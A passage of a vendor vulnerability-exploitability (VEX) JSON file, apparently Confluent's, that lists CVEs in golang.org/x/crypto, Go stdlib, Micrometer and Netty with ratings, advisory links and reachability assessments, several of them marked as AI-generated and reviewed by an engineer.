"https://go.dev/issue/79435" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-39832.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-37410.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39832" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5006" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39832.json" }, { "url": "https://ubuntu.com/security/notices/USN-8447-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39832" } ], "published": "2026-05-22T04:16:22+00:00", "updated": "2026-09-02T13:17:42+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-39833", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 5.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 862 ], "description": "The in-memory keyring returned by NewKeyring() silently accepted keys with the ConfirmBeforeUse constraint but never enforced it. The key would sign without any confirmation prompt, with no indication to the caller that the constraint was not in effect. NewKeyring() now returns an error when unsupported constraints are requested.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-39833" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39833" }, { "url": "https://github.com/golang/crypto/commit/0fb843a472225645e917c84f1f9744757f0bab14" }, { "url": "https://go.dev/cl/778640" }, { "url": "https://go.dev/cl/778641" }, { "url": "https://go.dev/cl/778642" }, { "url": "https://go.dev/issue/79436" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39833" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5005" }, { "url": "https://ubuntu.com/security/notices/USN-8447-1" }, { "url": "https://ubuntu.com/security/notices/USN-8447-2" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39833" } ], "published": "2026-05-22T04:16:22+00:00", "updated": "2026-08-11T22:17:25+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": "h2. Summary\n\nConfluent Platform's Alertmanager and Prometheus images carry this library version as an unused, transitive dependency. There is no exploitable code path for CVE-2026-39833 in these components today, so there is no immediate customer action required. As with the related CVEs in this family, Confluent will pick up the fix via a standard upstream version bump \u2014 the open-source Prometheus project already includes the fix starting at v3.13.0, and Alertmanager starting at v0.34.0 \u2014 in a future release.\n\nh2. Assessment Details\n\nh3. What is CVE-2026-39833?\n\nThis CVE affects the SSH agent module of a widely used open-source Go library, golang.org/x/crypto. Some SSH keys held by an SSH agent can be configured to require confirmation before each use, so the agent is supposed to prompt for approval every time the key is used to sign something. A flaw in this library meant that constraint was silently ignored in some cases: the key would sign without ever prompting, even though it was configured to require confirmation.\n\nh3. Why doesn't this affect Confluent's Alertmanager and Prometheus images?\n\nAs with the related CVEs in this family, our scanning tools flagged this library in the cp-enterprise-alertmanager and cp-enterprise-prometheus images because it's pulled in indirectly, as a dependency of other libraries these components use for non-SSH purposes, not because either component uses SSH agents or SSH keys. Neither Alertmanager nor Prometheus manages SSH keys, talks to an SSH agent, or has any SSH functionality anywhere in their code. Both communicate exclusively over HTTP (Alertmanager's API on port 9093, Prometheus's API on port 9090). Since this vulnerability is entirely about SSH agent key-confirmation handling, and neither program ever performs SSH operations of any kind, the flawed code is never reached or executed.\n\nh3. How did we verify this?\n\nThis ticket shares the exact same affected package, versions, and codebases as the related tickets, which we already analyzed in depth:\n\n# We used the Go build tooling directly to check whether the SSH agent module is needed by these programs at all, and it confirmed it is not required by either component.\n# We ran govulncheck, which found no call path to this CVE's vulnerable function in either component, while correctly identifying and tracing dozens of other, unrelated vulnerabilities with concrete call evidence in the same scan.\n# We manually searched the source code of every affected version of both projects for any reference to the SSH module or its agent subpackage and found none outside of test code.\n\nAI-generated analysis. Reviewed and approved for customer sharing by a security engineer before use." } }, { "id": "CVE-2026-39834", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 190 ], "description": "When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-39834" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39834" }, { "url": "https://github.com/golang/crypto/commit/e052873987615dc96fe67607a9a6adb76311344f" }, { "url": "https://go.dev/cl/781663" }, { "url": "https://go.dev/issue/79567" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39834" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5020" }, { "url": "https://ubuntu.com/security/notices/USN-8447-1" }, { "url": "https://ubuntu.com/security/notices/USN-8447-2" }, { "url": "https://ubuntu.com/security/notices/USN-8447-3" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39834" } ], "published": "2026-05-22T04:16:24+00:00", "updated": "2026-07-23T16:10:00+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": "h2. Summary\n\nConfluent Platform's Alertmanager and Prometheus images carry this library version as an unused, transitive dependency. There is no exploitable code path for CVE-2026-39834 in these components today, so there is no immediate customer action required. As with the related CVEs in this family, Confluent will pick up the fix via a standard upstream version bump \u2014 the open-source Prometheus project already includes the fix starting at v3.13.0, and Alertmanager starting at v0.34.0 \u2014 in a future release.\n\nh2. Assessment Details\n\nh3. What is CVE-2026-39834?\n\nThis CVE affects the SSH module of a widely used open-source Go library, golang.org/x/crypto. If a program uses this library to send a very large amount of data, more than 4 gigabytes, in a single write operation over an SSH connection, a bug in an internal size calculation could cause the sending logic to loop forever without making progress, effectively hanging that connection.\n\nh3. Why doesn't this affect Confluent's Alertmanager and Prometheus images?\n\nAs with the related CVEs in this family, our scanning tools flagged this library in the cp-enterprise-alertmanager and cp-enterprise-prometheus images because it's pulled in indirectly, as a dependency of other libraries these components use for non-SSH purposes. Neither Alertmanager nor Prometheus opens SSH connections or channels of any kind, both communicate exclusively over HTTP (Alertmanager's API on port 9093, Prometheus's API on port 9090). Since this vulnerability requires an active SSH channel write to trigger, and neither program ever creates one, the flawed code is never reached or executed.\n\nh3. How did we verify this?\n\nThis ticket shares the exact same affected package, versions, and codebases as the related tickets, which we already analyzed in depth:\n\n# We used the Go build tooling directly to check whether the SSH module is needed by these programs at all, and it confirmed it is not required by either component.\n# We ran govulncheck, which found no call path to this CVE's vulnerable functions in either component, while correctly identifying and tracing dozens of other, unrelated vulnerabilities with concrete call evidence in the same scan.\n# We manually searched the source code of every affected version of both projects for any reference to the SSH module and found none outside of test code.\n\nAI-generated analysis. Reviewed and approved for customer sharing by a security engineer before use." } }, { "id": "CVE-2026-39835", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 295, 476 ], "description": "SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-39835" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26546" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26547" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36199" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36207" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36319" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36625" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36648" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36651" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36797" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37072" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37123" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37268" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37271" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37272" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37286" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37296" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37387" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37410" }, { "url": "https://access.redhat.com/errata/RHSA-2026:38504" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40118" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40262" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40945" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40969" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40972" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40974" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41019" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41031" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41036" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41066" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42146" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43052" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43692" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46885" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47735" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47949" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51033" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51036" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51038" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52857" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52910" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54525" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57194" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59467" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59593" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60520" }, { "url": "https://access.redhat.com/errata/RHSA-2026:62260" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39835" }, { "url": "https://bugzilla.redhat.com/2480680" }, { "url": "https://bugzilla.redhat.com/2480685" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480680" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480685" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-37410.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:37410" }, { "url": "https://go.dev/cl/781660" }, { "url": "https://go.dev/issue/79563" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-39835.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-38504.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39835" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5015" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39835.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39835" } ], "published": "2026-05-22T04:16:24+00:00", "updated": "2026-09-02T13:17:43+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-40984", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 400, 770 ], "description": "In Micrometer, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition.\n\nAffected versions:\nmicrometer-core 1.16.0 through 1.16.5; 1.15.0 through 1.15.11; 1.14.0 through 1.14.15; 1.13.0 through 1.13.18; 1.9.0 through 1.9.17.\nmicrometer-jetty11 1.16.0 through 1.16.5; 1.15.0 through 1.15.11; 1.14.0 through 1.14.15; 1.13.0 through 1.13.18.\nmicrometer-jetty12 1.16.0 through 1.16.5; 1.15.0 through 1.15.11; 1.14.0 through 1.14.15; 1.13.0 through 1.13.18.", "recommendation": "Upgrade io.micrometer:micrometer-core to version 1.16.6, 1.15.12", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-40984" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36839" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37390" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50848" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50849" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54435" }, { "url": "https://access.redhat.com/errata/RHSA-2026:62260" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-40984" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2486716" }, { "url": "https://github.com/micrometer-metrics/micrometer" }, { "url": "https://github.com/micrometer-metrics/micrometer/commit/36da131525228188a36779a28471a76c79213dd4" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40984" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40984.json" }, { "url": "https://spring.io/security/cve-2026-40984" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-40984" } ], "published": "2026-06-09T05:16:34+00:00", "updated": "2026-09-02T13:17:45+00:00", "affects": [ { "ref": "pkg:maven/io.micrometer/micrometer-core@1.14.4", "versions": [ { "version": "1.14.4", "status": "affected" } ] }, { "ref": "pkg:maven/io.micrometer/micrometer-core@1.14.4", "versions": [ { "version": "1.14.4", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.micrometer/micrometer-core@1.14.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.micrometer/micrometer-core@1.14.4" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. The vulnerable micrometer-core HTTP-method-tagging classes are present transitively via Armeria but are never invoked, since Control-Center never wires Armeria's metrics decorators and its actual REST server carries no micrometer dependency at all." } }, { "id": "CVE-2026-42505", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "bitnami" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" } ], "cwes": [ 201 ], "description": "Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key identities in the unencrypted client hello.", "recommendation": "Upgrade stdlib to version 1.25.12, 1.26.5, 1.27.0-rc.2", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-42505" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37435" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-42505" }, { "url": "https://bugzilla.redhat.com/2480756" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-37435.html" }, { "url": "https://go.dev/cl/775960" }, { "url": "https://go.dev/issue/79282" }, { "url": "https://groups.google.com/g/golang-announce/c/OrmQE_Yp5Sc" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42505" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5856" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-42505" } ], "published": "2026-07-08T17:17:21+00:00", "updated": "2026-07-13T17:05:36+00:00", "affects": [ { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/stdlib@v1.26.4" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. the Go stdlib flaw is carried by a bundled Go binary (the Confluent CLI / tooling) in the image, not the product's Java runtime, so the vulnerable code path is not reachable in the product." } }, { "id": "CVE-2026-42508", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.4, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N" }, { "source": { "name": "rocky" }, "severity": "high" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 295 ], "description": "Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @revoked.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-42508" }, { "url": "https://access.redhat.com/errata/RHSA-2026:23262" }, { "url": "https://access.redhat.com/errata/RHSA-2026:23264" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26546" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26547" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35833" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36648" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36651" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36797" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36808" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37072" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37123" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37387" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40118" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40262" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40945" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41019" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41031" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41036" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41064" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41066" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42146" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43052" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43692" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46885" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47735" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47737" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49944" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51033" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51288" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52857" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52910" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54400" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57194" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59467" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60520" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61314" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-42508" }, { "url": "https://bugzilla.redhat.com/2480680" }, { "url": "https://bugzilla.redhat.com/2480681" }, { "url": "https://bugzilla.redhat.com/2480685" }, { "url": "https://bugzilla.redhat.com/2480688" }, { "url": "https://bugzilla.redhat.com/2480757" }, { "url": "https://bugzilla.redhat.com/2480761" }, { "url": "https://bugzilla.redhat.com/2493620" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480680" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480681" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480685" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480688" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480757" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480761" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2493620" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39829" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42508" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-57231" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-37123.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:37123" }, { "url": "https://github.com/golang/crypto/commit/f717e29698a271c548239ed56bf5dd9516d6f7e8" }, { "url": "https://go.dev/cl/781220" }, { "url": "https://go.dev/issue/79568" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-42508.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-37123.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42508" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5021" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42508.json" }, { "url": "https://ubuntu.com/security/notices/USN-8447-1" }, { "url": "https://ubuntu.com/security/notices/USN-8447-2" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-42508" } ], "published": "2026-05-22T04:16:25+00:00", "updated": "2026-09-02T13:17:49+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-44249", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 8.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "redhat" }, "score": 8.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], "cwes": [ 284, 697, 1287 ], "description": "Netty is a network application framework for development of protocol servers and clients. In netty-handler prior to versions 4.1.135.Final and 4.2.15.Final, an attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions. Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-handler to version 4.2.15.Final, 4.1.135.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-44249" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26017" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26018" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26586" }, { "url": "https://access.redhat.com/errata/RHSA-2026:28573" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34608" }, { "url": 